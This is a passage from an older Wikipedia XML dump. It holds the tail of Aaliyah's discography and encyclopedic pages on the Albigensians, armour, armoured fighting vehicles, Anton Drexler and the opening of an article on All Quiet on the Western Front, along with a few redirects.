|align=&quot;center&quot; valign=&quot;top&quot;|36
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|-
|align=&quot;center&quot; valign=&quot;top&quot;|[[2001 in music|2001]]
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;We Need a Resolution&quot; &lt;br /&gt; ''(featuring Timbaland)''
|align=&quot;center&quot; valign=&quot;top&quot;|59
|align=&quot;center&quot; valign=&quot;top&quot;|15
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|20
|-
|align=&quot;center&quot; valign=&quot;top&quot;|2001
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Rock the Boat&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|14
|align=&quot;center&quot; valign=&quot;top&quot;|2
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|12
|-
|align=&quot;center&quot; valign=&quot;top&quot;|[[2002 in music|2002]]
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;More Than a Woman&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|
|align=&quot;center&quot; valign=&quot;top&quot;|7
|align=&quot;center&quot; valign=&quot;top&quot;|11
|align=&quot;center&quot; valign=&quot;top&quot;|1
|-
|align=&quot;center&quot; valign=&quot;top&quot;|2002
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;I Care 4 U&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|3
|align=&quot;center&quot; valign=&quot;top&quot;|3
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|-
|align=&quot;center&quot; valign=&quot;top&quot;|2002
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Miss You&quot; &lt;br /&gt; ''(remix features [[Jay-Z]])''
|align=&quot;center&quot; valign=&quot;top&quot;|3
|align=&quot;center&quot; valign=&quot;top&quot;|1
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|-
|align=&quot;center&quot; valign=&quot;top&quot;|2002
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Don't Know What To Tell Ya&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|22
|-
|align=&quot;center&quot; valign=&quot;top&quot;|[[2003 in music|2003]]
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Come Over&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|32
|align=&quot;center&quot; valign=&quot;top&quot;|9
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|-
|}

=====''Notes''=====
*&lt;sup&gt;1&lt;/sup&gt; Did not chart on the Hot 100, but hit number 60 on [[Hot 100 Singles Sales]].
*&lt;sup&gt;2&lt;/sup&gt; Did not chart on the Hot 100 or Hot R&amp;B/Hip-Hop charts (Billboard rules at the time prevented album cuts from charting).  Chart peak listed here represents [[Hot 100 Airplay]] and [[Hot R&amp;B/Hip-Hop Airplay]] data.
*&lt;sup&gt;3&lt;/sup&gt; &quot;Are You That Somebody?&quot; was in the midst of its chart run when Billboard changed its policy to allow airplay-only singles to chart on the Hot 100 and Hot R&amp;B/Hip-Hop charts.  It climbed to number four on Hot 100 Airplay and number one on Hot R&amp;B/Hip-Hop Airplay and was on the decline when the rules were changed.  Its official Hot 100 peak is number 21.

==Filmography==
*''[[Romeo Must Die]]'' (2000) 
*''[[The Queen of the Damned|Queen Of The Damned]]'' (2002)

==See also==
*[[Aaliyah awards]] for a listing of awards won by the performer.

==External links==
&lt;!-- PLEASE DO NOT ADD FANSITES --&gt;
*[http://www.Aaliyah.com Official Aaliyah Website]
*{{imdb name|id=0004691|name=Aaliyah}}
*Open Directory: [http://dmoz.org/Arts/People/A/Aaliyah/ Aaliyah]

[[Category:1979 births]]
[[Category:2001 deaths]]
[[Category:Aaliyah]]
[[Category:African American musicians]]
[[Category:American film actors]]
[[Category:American R&amp;B singers]]
[[Category:American dancers]]
[[Category:Brooklynites]]
[[Category:Entertainers who died in their 20s]]
[[Category:American female singers]]
[[Category:People from Detroit, Michigan]]
[[Category:Plane crash victims]]
[[Category:Rhythmic Top 40 acts]]
[[Category:Swing Mob]]

[[cs:Aaliyah]]
[[de:Aaliyah]]
[[et:Aaliyah]]
[[es:Aaliyah]]
[[fr:Aaliyah Dana Haughton]]
[[gl:Aaliyah]]
[[it:Aaliyah]]
[[nl:Aaliyah]]
[[no:Aaliyah]]
[[ja:アリーヤ]]
[[pl:Aaliyah]]
[[pt:Aaliyah]]
[[fi:Aaliyah]]
[[sv:Aaliyah]]</text>
    </revision>
  </page>
  <page>
    <title>Albigensians</title>
    <id>2145</id>
    <revision>
      <id>41507098</id>
      <timestamp>2006-02-27T20:56:58Z</timestamp>
      <contributor>
        <ip>67.126.143.220</ip>
      </contributor>
      <text xml:space="preserve">{{mergeto|Cathar}}
'''Albigensians''' ([[French language|French]]: ''Albigeois'') literally means the inhabitants of [[Albi]], a city in southern [[France]].  However, the term was used to refer to the later followers of [[Cathar]]ism, a [[Gnosticism|Gnostic]]-like religious movement of southern France in the [[12th century|12th]] and [[13th century]].  The name originates from the end of the [[12th century]], and was used in [[1181]] by the chronicler [[Geoffroy du Breuil of Vigeois]]. The name is somewhat misleading as the center of the religious movement was really [[Toulouse]]. 

Early Catharism was much more associated with Gnostic theologies that it inherited from its association with the Paulicianism and Bogomils. However, as one historian phrased it, as time proceeded they became more and more like orthodox Christians. When the term &quot;Albigensians&quot; or &quot;Albigensian Crusades&quot; are used they are usually referring to these later Cathars which were a branch of the earlier sect.

They believed that the principles of good and evil continually oppose each other in the world. The Albigenses opposed marriage, bearing children (because they thought bringing life into the world to be a sin), and eating meat. Their enemies claimed they  advocated suicide,when in reality they only advocated the voluntary cessation of food by those already close to death  (so that when they died, they would have little taint on them and free of Earthly desires). 

In the [[14th century]] the church declared them [[heretics]]. In the years that followed the [[Crusades]] and [[Inquisitions]] against them, they slowly dissolved, and by the 15th century they had completely disappeared as a sect. By the time [[Pope Innocent III]] came to power in 1198, he had resolved to suppress the Cathari. There followed over forty years of war against the indigenous population. During this period some 500,000 Languedoc men women and children were massacred. [http://www.languedoc-france.info/12_cathars.htm] However many of the Albigensians, who as previously stated came closer and closer to identifying with orthodox Christianity, merged with the Waldensians prior to their sect being wiped out in the inquisitions. The Albigensians left their mark on the Waldensian movement which is evident in the Waldensian theology and customs. The Waldensian movement was opposed to the early Cathar movement but was known to work side by side with the Albigensians.

There exists today a modern sect that claims to be Cathars which received its consolamentum from survivers of the original sect. This however is difficult if not impossible to prove.

==See also==
* [[Cathars]]
* [[Albigensian Crusade]]

==External links==
*[http://www.newadvent.org/cathen/01267e.htm Article from the Old Catholic Encyclopedia on the Albigensian]
*[http://www.katharer.de Site of the German Cathars]

[[Category:Gnosticism]]

[[de:Katharer]]
[[fr:Cathares]]
[[nl:Katharen]]
[[pl:Albigensi]]
[[simple:Cathar]]
[[ja:カタリ派]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander Solzhenitsyn</title>
    <id>2146</id>
    <revision>
      <id>15900584</id>
      <timestamp>2002-06-19T01:59:25Z</timestamp>
      <contributor>
        <username>Guppie</username>
        <id>179</id>
      </contributor>
      <comment>Redirect to &amp;quot;Aleksandr Solzhenitsyn&amp;quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Aleksandr Solzhenitsyn]]</text>
    </revision>
  </page>
  <page>
    <title>Armour</title>
    <id>2147</id>
    <revision>
      <id>41873852</id>
      <timestamp>2006-03-02T07:31:14Z</timestamp>
      <contributor>
        <username>Jrleighton</username>
        <id>140144</id>
      </contributor>
      <minor />
      <comment>/* See also */</comment>
      <text xml:space="preserve">{{otheruses}}

[[Image:Greek Hoplite.jpg|thumb|180px|A [[hoplite]] wearing (only) a [[helmet]], [[breastplate]] [[greave]]s and a [[shield]].]]

'''Armour''' ([[Commonwealth English]]) or '''armor''' ([[American English]]), is protective clothing intended to defend its wearer from intentional harm in [[combat]] and [[military]] engagements, typically associated with soldiers.  Armour has been used throughout [[recorded history]], beginning with [[hide]]s, [[leather]], and [[bone]], before progressing to [[bronze]], then [[steel]] during the [[middle ages]], to modern fabrics such as [[kevlar]], [[Dyneema]] and [[ceramic]]s. 

Armour was also commonly used to protect [[war animal]]s, such as [[war horse]]s and [[war elephant |elephants]]. Armour for war horses was called &quot;barding&quot;. Armour has also been produced for [[hunting dog]]s that hunt dangerous game, such as [[boar]]s. Since [[World War I]], [[armoured fighting vehicle]]s are protected by [[vehicle armour]].

'''Armour''', or ''[[the armoured]]'' is also a heavily armoured military force or organization, such as heavy [[infantry]] or heavy [[cavalry]] (as opposed to [[light infantry]] or cavalry).  In modern [[armoured warfare]], '''armoured units''' equipped with [[tank]]s serve the historic role of heavy cavalry, and belong to the '''armoured branch''' in a national [[army]]'s organization (sometimes, the ''armoured corps'').  Heavy infantry have been replaced by [[mechanized infantry]].

==History==
[[Image:SamuraiArmor.jpg|thumb|200px|Japanese [[Samurai]] [[Odoshi]] Armor.]] 

Throughout human history, the development of armor has always run parallel to the development of increasingly more efficient weaponry on the battlefield, creating an [[arms race]] of sorts across multiple [[civilization]]s to create better protection without sacrificing mobility.

In [[European history]], well-known armor types include the [[lorica segmentata]] of the [[Roman legions]], the [[chainmail]] [[hauberk]] of the early medieval age, and the full steel [[plate armor]] worn by later medieval [[knight]]s, and a few key parts, ( breast and back plates) by heavy cavalry in several European countries right up to the first year of World War 1. (1914-15).
In East Asian history, [[lamellar armour]] and [[brigandine]] was popular. In pre-Qin dynasty times, leather armor was made out of exotic animals such as rhinoceros. Chinese influence in Japan would result in the Japanese adopting Chinese styles, their famous 'samurai armor' being a result of this influence.

=== European Medieval Armour: Steel cap, or helmet with linked chain mail 950 A.D. to 1300 ===
The early middle ages saw the gradual adoption of coats of chain mail, that offered protection from arrows and edged  weapons. The mail was made of individually forged steel links, which formed a flexible protective coat for the warrior.
A steel helmet fit over the head, usually conforming to the shape of the upper head in a  rounded fashion. A nose guard was
frequently fitted to the helmet, It could best be described as a steel skull cap. Otherwise, the mail, which usually conformed to cover the neck, legs, arms and hands, offering overall  body protection. A medium sized shield was usually carried in the non-weapon bearing hand. This simple combination carried the European combatant through the 3 centuries that included, the [[Norman Conquest]] of England, and the several [[Crusades]] to the &quot;Holy Land&quot;.

=== Transitional period, the 1300s ===
Little by little, small additional plates or disks of steel were added to the mail to protect vulnerable areas. The knees
were capped with steel, and two circular disks were fitted to protect the underarms, by the late 1200s. The small skull 
cap evolved into a bigger true helmet, as it was lengthened downward to protect the back of the neck and the sides of the head. This evolutionary process proceeded to add steel plate elements to protect the shins, feet, throat and upper chest.
and soon (mid to late 1300s) most of the mail was covered by these protective plates. The next phase saw the plate cover
almost all parts of the mail, and several forms of closed-helmets were introduced in the late 1300s.

=== Plate armour, 1400 and later ===
{{main |plate armour}}
[[image:Joan d'Arc.jpg|thumb|200px|St.Joan mounted in armour {{3d_glasses}}]] 

Probably the most recognised style of armour in the world, associated with the [[knight]]s of  Late Medieval Europe,  but continuing later through the 1500 &amp; 1600s in all European countries. Heavy cavalry continued to use breast &amp; back plates into the early 20th century in elite cuirassier units.

=== Musket ball stopping armour ===
[[Image:Zbroja Batorego.jpg|200px|thumb|Armour of King [[Stefan Batory]] of [[Poland]], painted by [[Jan Matejko]].]]

Conventional wisdom says that plate armour faded away on the battlefild soon after firearms were introduced. This is very much not the case. Crude cannon were being used before plate armour became the norm. Soon, in the 1400s a small, mobile &quot;[[gonne|hand cannon]]&quot; was being used by horsemen. Improved cross bows, and the first pistols and pre-musket long arms, began to take a heavy toll on the mail clad, and partially plated knights and foot soldiers. Rather than dooming the use of body armour, the threat of small firearms intensified the use and further refinement of plate armour. There was a 150 year period, that more and better metallurgically advanced steel armour was being used, precisely because of the danger posed by the gun. 
In the early years of pistol and muskets, fire arms were relatively low velocity,the full suits of armor, or breast plates actually stopped bullets fired from a modest distance. The front breast plates were, in fact, commonly shot as a test. The impact point would be encircled with ingraving to point it out. This was called the &quot;proof&quot; . It was not uncommon for a man in armour, mounted on a horse, to ride up closer to the enemy, in a tactical maneuver called &quot;The wheel&quot;, and discharge his hand-cannon or later, pistols, right into the faces of the adversary at close range. Cross-bow arrows, if still used, would seldom penetrate good plate, nor would any bullet but one fired from close range. In effect, (and this has long been misunderstood), plate armour actually came to replace chain mail because it was relatively, &quot;musket ball proof&quot;. Plate would stop all of these at a distance. Hence, guns and cavalry in plate armour were &quot;threat and remedy&quot; together on the battlefield for almost 400 years. For most of that period, it allowed horsemen to fight while being the targets of defending musketeers without being easily killed. Full suits of armour were actually worn by generals and princely commanders right up to the second decade of the 1700s. It was the only  way they could be mounted &amp; survey the overall battlefield with safety from distant musket fire.
The armour shown here of the Polish King, Stefan Batory, is an early example of the &quot;field-marshall style&quot; battle armour.

=== Plate Armour &quot;Barding&quot; for Horses ===
It should be noted that the horse was afforded protection from gunfire, and lances by steel plate &quot;barding&quot;. This gave the horse  protection and added a certain &quot;heroic quality&quot; to the appearance. Fanciful &quot;unicorn spike horns&quot; were frequently added to the protective steel mask. Body areas were protected as well.

=== Characteristics of armour ===
Going back to the heyday of armour in the 1400s,most parts of the [[human body]] have been fitted with specialised steel pieces, typically worn over linen or woollen underclothes and attached to the body via leather straps and buckles, with mail (maille) protecting those areas that could not be fitted with plate (the backs of the knee for instance). Well-known constituent parts of plate-armour include the [[helmet|helm]], [[Gauntlet (gloves)|gauntlet]]s, [[gorget]] or 'neckguard', [[breastplate]], and [[greaves]] worn on the lower legs.

Typically, full-body plate armour was custom-made for the individual. This was understandably a very time-consuming and expensive undertaking, costing as much as a family house or high-powered car in today's money. As such, it was almost exclusively the luxury of the noble and landed classes, with soldiers of lower standing generally wearing cheaper armour (if at all) typically limited to a helm and a breastplate. Armour often bore an insignia in the interior, that was only visible to the wearer upon removal. Full plate armour made the wearer virtually impervious to sword blows as well as providing some protection against arrows, bludgeons and even early musket shot. Although sword edges could not penetrate the relatively thin (as little as 2 mm) plate, they ''could'' cause serious concussive damage via the impact. Also, although arrows shot from bows could often pierce early plate at close range, later improvements in the steel forging techniques and armour design made even this line of attack increasingly difficult. By its apex, toughened steel plate was almost impregnable on the battlefield.  Knights were instead increasingly felled by ''blunt'' weapons like [[mace]]s or [[warhammer]]s that could send concussive force ''through'' the plate armour resulting in injuries such as broken bones, organ [[haemorrhage]] and/or head trauma. Another tactic was to attempt to strike though the gaps between the armour pieces, using daggers to attack the Knight's eyes or joints.

[[image:etched armour.jpg|thumb|200px|etched plate armour 1560 {{3d_glasses}}]]

Contrary to common misconceptions, a well-made suit of medieval 'battle' armour (as opposed to the primarily ceremonial 'parade' and 'tournament' armours popular with kings and nobility of later years) hindered its wearer no more than the equipment carried by soldiers today. An armoured Knight (trained since his teens in its wearing) could comfortably run, crawl, climb ladders, as well as mount and dismount his horse without recourse to a crane (a myth originating from [[Mark Twain]]'s ''[[A Connecticut Yankee in King Arthur's Court]]''). A full suit of medieval plate is thought to have weighed little more than 60 lb (27 kg) on average, considerably ''lighter'' than the equipment often carried by the elite of today&amp;#8217;s armies (e.g., SAS patrols have been known to carry equipment weighing well over 200 lb (91 kg) for many miles).

===Plate Armour slowly discarded===
Gradually starting in the mid 1500s, one plate element after another was discarded to save weight for foot soldiers, but breast and back plates continued to be used though the entire period of the 1700s through Napoleonic times in many (heavy) european cavalry units, all the way to the early 20th Century. Rifled muskets from about 1750 and later, could pierce plate, so cavalry had to be far more mindful of the fire. At the start of World War 1 the French Cuirassiers, in the thousands, rode out to engage the German Cavalry who likewise used helmets and armour. By that period, the shiny armour plate was covered in dark paint and a canvas wrap covered their elaborate Napoleonic style helmets. Their armour was meant to protect only against sabres and light lances. The cavalry had to beware of high velocity rifles and machine guns like the foot soldiers, who at least had a trench to protect them. Machine gunners in that war also occasionally wore a crude type of heavy armour.

===Modern personal armour===
[[Image:Bodyarmor.jpg|thumb|200px|A modern ballistic vest.]]

Today, [[bullet proof vest]]s made of ballistic cloth (e.g [[Kevlar]] or [[Dyneema]]) and ceramic or metal plates are common among [[police force]]s, [[security guard|security staff]] and in some branches of the military. For [[infantry]] applications, lighter protection (historically known as a [[flak jacket]]) is often used to protect [[soldier]]s from [[grenade]] fragments and indirect effects of [[bombardment]], but usually not [[small arms]] fire. This is because [[assault rifle]]s usually fire harder, higher-energy [[armor piercing bullet|bullets]] than [[pistol]]s, and the increased protection needed to stop these would be too cumbersome and heavy to use in [[combat]].

The US Army has adopted Interceptor Ballistic Armor, however, which uses ceramic plates in the chest and back of the armor.  Each plate is rated to stop 3 hits from a 7.62 round at a range of 10m, though accounts in Iraq and Afghanistan tell of soldiers shot as much as seven times in the chest without penetration.

However, as the name implies, modern ballistic armor is much less impervious to close combat weapons such as knives, due to the fact that they were not made to withstand such weapons.

&lt;br clear=&quot;left&quot;&gt;

&lt;gallery&gt;
Image:Horse barding facial plate.jpg|Horse bard mask with &quot;unicorn&quot; spike, 1560 {{3d_glasses}}
Image:closed helmet.jpg|closed helmet, 1580 to 1600 {{3d_glasses}}
&lt;/gallery&gt;

==See also==
{{Commonscat|Armour}}
* [[Jousting]]
* [[Military uniforms]]
* [[Battledress]]
* [[Shield]]
* [[Military history]]
* [[Vehicle armour]]
* [[List of AFVs]], [[Panzer]]
* [[Rolled Homogeneous Armour]]

== External links ==
*[http://www.swuklink.com/BAAAGEHQ.php Medieval Armor and its History]

*[http://www.arador.com/main/index.html Medieval Armour Reproduction and History]

[[Category:Personal armor]]
[[Category:Ancient warfare]]

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  <page>
    <title>Armoured fighting vehicle</title>
    <id>2148</id>
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      <id>40452796</id>
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        <username>Mzajac</username>
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      <minor />
      <comment>/* See also */ remove redundant link</comment>
      <text xml:space="preserve">An '''armoured fighting vehicle''' (AFV) is a military [[vehicle]], equipped with protection against hostile attacks and often mounted [[weapon]]s. Most AFVs are equipped for driving in rugged [[terrain]].

Armoured fighting vehicles are classified according to their intended role on the battlefield and characteristics. This classification is not absolute; at different times different countries will classify the same vehicle in different roles. For example, ''[[armoured personnel carrier]]s'' were generally replaced by ''[[infantry fighting vehicle]]s'' in a very similar role, but the latter has some capabilities lacking in the former.

Successful general-purpose armoured fighting vehicles often also serve as the base of a whole family of specialised vehicles, for example, the [[M113]] and [[MT-LB]] tracked carriers, and the [[Mowag Piranha]] wheeled AFV.

== Types of AFVs ==
* [[Tank]] (main battle tank, MBT)
* [[Armoured personnel carrier]] (APC) 
* [[Infantry fighting vehicle]] (IFV) 
* [[Self-propelled gun]]s:
** [[Self-propelled artillery]]
** [[Assault gun]]
** [[Tank Destroyer]]
* [[Self-propelled anti-aircraft]]
* [[Armoured car]]
* [[Tankette]]
* [[Armoured train]]
* [[Aerosan]]

Not AFVs, but often considered together with them:
* Support vehicles (not strictly ''fighting'' vehicles):
** [[Combat engineering vehicle]] (CEV) 
** [[Armoured recovery vehicle]] (ARV)
* Unarmoured fighting vehicles:
** ''[[Technical (fighting vehicle)|Technical]]'', a civilian truck mounting a support weapon
** ''[[Tachanka]]'', a horse-drawn machine gun carrier used in the [[Russian Civil War]]
** [[Katyusha]], a series of truck-mounted [[multiple rocket launcher]]s

=== Tank ===

[[Image:T72 Georgia.jpg |thumb|right|A [[T-72]] main battle tank clad in reactive armour bricks, in [[Georgia (country) |Georgian]] service.]]
{{main | tank}}

A '''tank''' is a [[Caterpillar track|tracked]], armoured combat vehicle ([[armoured fighting vehicle]]), designed primarily to engage enemy forces by the use of [[indirect fire|direct fire]]. A modern [[main battle tank]] is distinguished by its high level of firepower, mobility and armour protection relative to other vehicles of its era.  It can cross comparatively rough terrain at high speeds, but is fuel, maintenance, and ammunition-hungry and is [[Military logistics|logistically]] demanding.  It has the heaviest [[Vehicle armour |armour]] of any vehicle on the battlefield, and carries a powerful weapon that may be able to engage a wide variety of ground targets.  It is among the most versatile and fearsome weapons on the battlefield, valued for its [[fear |shock action]] against other troops and high survivability. 

See also: [[Tank classification]].

=== Armoured personnel carrier ===

[[Image:M113.jpg|thumb|right|The [[M113]], one of the most common tracked APCs, on duty during the [[Vietnam War]]]]
{{main | Armoured personnel carrier}}

'''Armoured personnel carriers''' (APCs) are light [[armoured fighting vehicle]]s for the transport of [[infantry]].  They usually have only a [[machine gun]] although variants carry [[recoilless rifle]]s, [[anti-tank guided missile]]s (ATGMs), or [[mortar (weapon)|mortar]]s.  They are not really designed to take part in a direct-fire battle, but to carry the troops to the battlefield safe from [[shrapnel]] and [[ambush]]. They may have [[wheel]]s or [[Caterpillar track|tracks]]. Examples include the American [[M113]] (tracked), the [[United Kingdom|British]] [[FV 432 AFV|FV 432]] (tracked) the [[France|French]] [[Véhicule de l'Avant Blindé|VAB]] (wheeled) and the Soviet [[BTR-60 |BTR]] (wheeled). The concept was fully realized by the Canadian Army in Normandy in 1944 with the invention of the Kangaroo.  Previous APCs were either semi-tracked (halftracks) or too small to effectively move a section/squad of infantry (such as the Universal Carrier).

=== Infantry fighting vehicle ===
{{main |infantry fighting vehicle}}

The first attempt to carry troops in an armoured tracked vehicle was made by the British in the First World War, a lengthened [[Mark I (tank)#Mark V|Mark V]] that could house a squad of infantry while still armed as a tank. Post-war, the idea was largely dropped in favour of trucks and lightly-armoured half-tracks, which were widely used during the Second World War. During WWII there were some experiments into heavily armoured carriers, such as the [[Kangaroo (armoured personnel carrier)|Kangaroo]]s, converted by stripping turrets from tanks.  After the war, there was a shift away from half-tracks to tracked or wheeled armoured personnel carriers (APCs), usually armed with a machine gun for self-defence.

[[Image:Cv90 8.jpg|thumb|left|Swedish [[Combat Vehicle 90]], a modern IFV.]]

Modern IFVs are well-armed infantry carriers that allow the infantry inside to fight from within the vehicle.  They are different from earlier APCs by their heavier armament allowing them to give direct-fire support during an [[attack |assault]], firing ports allowing the infantry to fire [[firearms |personal weapons]] while mounted, and improved [[vehicle armour |armour]].  They are typically armed with a twenty-millimetre or larger [[autocannon]], and possibly with [[ATGM]]s.  IFVs are usually [[Caterpillar track|tracked]], but some wheeled vehicles fall into this category, too.  

Specially-equipped IFVs have taken on some of the roles of light tanks; they are used by reconnaissance organizations, and light IFVs are used by airborne units which must be able to fight without the heavy firepower of tanks.

By comparison the Israeli [[Merkava]] is a main battle tank with the ability to carry a section of infantry.

=== Self-propelled artillery and assault gun ===
{{main articles|[[self-propelled artillery]], [[assault gun]]}}

[[Image:Su152 2.jpg|thumb|right|Soviet [[SU-152]] assault gun, mounting a 152-mm gun.]]

Various types of [[artillery]] pieces have been given their own integral transport by mounting them on armoured, [[caterpillar track |tracked]] or wheeled chassis.  This lets them keep up with the pace of [[armoured warfare]], and gives them nominal protection from [[counter-battery]] or [[small arms]] fire.  Like towed artillery, a battery of [[self-propelled artillery|self-propelled guns]] must still set up in a relatively safe area to perform [[fire mission]]s, but they are able to relocate more quickly.

[[Assault gun]]s are self-propelled artillery pieces intended support [[infantry]] in the direct-fire role. They usually have a large-calibre gun capable of firing a heavy high-explosive [[shell (projectile) |shell]], effective against dug-in troops and fortifications.

=== Tank destroyer ===
{{main|tank destroyer}}
[[Image:JPz IV-70.jpg|thumb|left|German [[Jagdpanzer IV |Jagdpanzer IV/70 (V)]], mounting the Panther tank's 75-mm gun on a Panzer IV chassis.]]
Self-propelled anti-tank guns, or ''tank destroyers'', are used primarily to provide [[antitank]] support for [[infantry]] or [[tank]] units, in [[defence (military) | defensive]] or [[withdrawal (military) |withdrawal]] operations. They may mount a high-velocity anti-tank gun or sometimes an [[antitank guided missile]] launcher, or ATGM.

Tank destroyers cannot fulfil the many roles of tanks; they are much less flexible, and usually lacking in anti-infantry capability.  But they are much less expensive to manufacture, maintain, and resupply than tanks.

Gun-armed tank destroyers have been largely supplanted by the more general-purpose tanks since Second World War, but lightly-armoured ATGM carriers are used for supplementary long-range antitank capabilities, and to replace tanks in light or [[airborne forces|airborne]] forces.

=== Tankette ===

[[Image:TKS.jpg |thumb|right|Polish [[TKS]] tankette, armed with a single 7.92-mm machine gun.]]
{{main |tankette}}

A tankette is a small armoured fighting vehicle with a crew of one or two, similar to a tank, intended for infantry support or reconnaissance.  Most had no [[turret]] and were armed with one or two [[machine gun]]s, or rarely with a heavier gun or grenade launcher. Tankettes were produced between about [[1930]] and [[1935]], but the concept was abandonded because of its limited utility and vulnerability to antitank weapons. Their role was largely taken over by armoured cars.  

A classic design was the British [[Carden Loyd Tankette]]—many others were modelled after it.  Japan was among the most prolific users of tankettes, producing a number of designs, which they found useful for [[jungle warfare]].

See also [[Universal Carrier]].

== See also == 
* [[Armoured warfare]]
* [[List of armoured fighting vehicles]]
* [[Tank classification]]
* [[Vehicle armour]]

[[he:רכב קרבי משוריין]]
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[[Category:Armored fighting vehicles|*]]</text>
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  <page>
    <title>Armor</title>
    <id>2149</id>
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      <text xml:space="preserve">#REDIRECT [[Armour]]
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    <title>Acid House</title>
    <id>2150</id>
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      <timestamp>2003-09-03T08:00:05Z</timestamp>
      <contributor>
        <username>Lexor</username>
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      <comment>#REDIRECT [[Acid house]]</comment>
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  <page>
    <title>Anton Drexler</title>
    <id>2151</id>
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      <id>38636741</id>
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      <minor />
      <text xml:space="preserve">'''Anton Drexler''' ([[June 13]], [[1884]] - [[February 24]], [[1942]]) was a machine-fitter before becoming a [[railway]] [[locksmith]] in [[Berlin]] in [[1902]]. He joined the Fatherland Party during [[World War I]]. He was a [[poet]] and a member of the [[Volk|völkisch]] agitators who, together with journalist [[Karl Harrer]], founded the [[German Workers' Party]] (DAP) in [[Munich]] with [[Gottfried Feder]] and [[Dietrich Eckart]] in [[1919]]. At the behest of [[Adolf Hitler]], who had joined the party shortly afterwards, Drexler changed the name to the National Socialist German Workers' Party ([[NSDAP]]) early in 1920. When Hitler finally wrested control of the party from Drexler in the autumn of 1921, Drexler had to content himself with the post of honorary chairman.

Drexler was also a member of a ''völkisch'' political club for affluent members of Munich society known as the [[Thule Society]].  His membership in the NSDAP ended when it was temporarily outlawed in 1923 following the [[Beer Hall Putsch]], in which Drexler had not taken part; he was elected to the Bavarian state parliament for another party in 1924 and had no part in the NSDAP's refounding in 1925. He rejoined only after Hitler had come to power in 1933. He received the party's &quot;blood badge&quot; in 1934 and was still occasionally used as a propaganda tool until about 1937, but was never again allowed any real power. He was largely forgotten by the time of his death.

{{nazi-stub}}

{{start box}}
{{succession box | before = [[Karl Harrer]] | title = [[National Socialist German Workers Party|Chairman of the DAP]] | years = [[1919]]&amp;ndash;[[1921]] | after = [[Adolf Hitler]] }}
{{end box}}

[[Category:1884 births|Drexler, Anton]]
[[Category:1942 deaths|Drexler, Anton]]
[[Category:Nazi leaders|Drexler, Anton]]
[[Category:Anti-Semitic people|Drexler, Anton]]

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[[et:Anton Drexler]]
[[el:Άντον Ντρέξλερ]]
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  <page>
    <title>All Quiet on the Western Front</title>
    <id>2152</id>
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      <id>42085292</id>
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      <contributor>
        <ip>66.26.72.154</ip>
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      <comment>/* The horror of war */</comment>
      <text xml:space="preserve">'''''All Quiet on the Western Front''''' is a [[novel]] by [[Erich Maria Remarque]], a [[Germany|German]] veteran of [[World War I]], about the horrors of that war and also the deep detachment from German civilian life felt by many men returning from the front. The book was first published in German as ''Im Westen nichts Neues'' in January 1929. It sold a million copies within a year in Germany and a further million abroad. In 1930 the book was turned into an Oscar-winning [[Film|movie]] of the same name, directed by [[Lewis Milestone]]. In a usage unrelated to the novel, the phrase &quot;all quiet on the western front&quot; has become popular slang for a lack of action (in reference to the [[Phony War]] in [[World War II]]'s [[Western Front (WWII)|Western Front]]).

== Plot ==
{{spoiler}} 

The story follows the experiences of Paul Bäumer: a [[soldier]] who joined the [[Reichswehr|German army]] shortly after the start of the war. He arrives on the western front with his friends (Tjaden, Müller, and a number of other characters) and meets Stanislaus Katczinsky. Kat soon becomes Paul's [[mentor]] and teaches him about the realities of war. Paul and Kat swiftly became almost brothers, bonded by the hardships of the war.

Paul and his friends have to endure day after day of non-stop [[bombardment]]. Eventually it all becomes clear to him: war is entirely pointless. All his friends say that they are fighting the war for a few persons whom they have never met and most likely never will. They are the only people that can gain anything from this war, not Paul and his friends.

The book focuses not on [[hero|heroic]] stories of [[bravery]] as do so many other war stories, but rather gives a realistic view of the hell in which the soldiers found themselves. The [[monotony]], the constant [[artillery]] fire, the struggle to find food, and the overarching role of chance in the lives and deaths of the soldiers, all are described in detail. Remarque often refers to the living soldiers as old and dead, emotionally depleted and hardened. &quot;We are not youth any longer. We don't want to take the world by storm. We are fleeing from ourselves, from our life. We were eighteen and had begun to love life and the world; and we had to shoot it to pieces.&quot;

Paul receives a period of leave from the army, and returns home temporarily. He finds it difficult to understand people at home anymore. While all the soldiers at the front wish for nothing more than peace, knowing that they are losing the war, people back home talk about marching on [[Paris]]. He is also indifferent to the significance of any of the battles. Battles have no names. Rather, one after another they offer a chance for him to be killed. Battle seems to be waged only to gain pitifully small pieces of land.

== Themes ==
There are many central themes in the book. Among them is that war is total nonsense. For example, none of the characters have ever seen a Frenchman before the war, much less have reason to kill them, but that is now what they are doing. Some of the soldiers ponder how the war was started, what is it for, and who it benefits. Nobody has any answers.

=== The horror of war ===
The main theme in ''All Quiet on the Western Front'' is the brutality of war. The archetypical war novel romanticizes war and extolls the heroes of the story, however this book shows a vivid, realistic, and horrible portrait of war. [[World War I]] saw the development of many new horrible innovations such as [[poison gas]], [[machine guns]], and [[tanks]]; all of which made killing easier and even more impersonal. The novel shows these weapons being used for butchery on a grand scale; for instance, battles lasting for four months. 

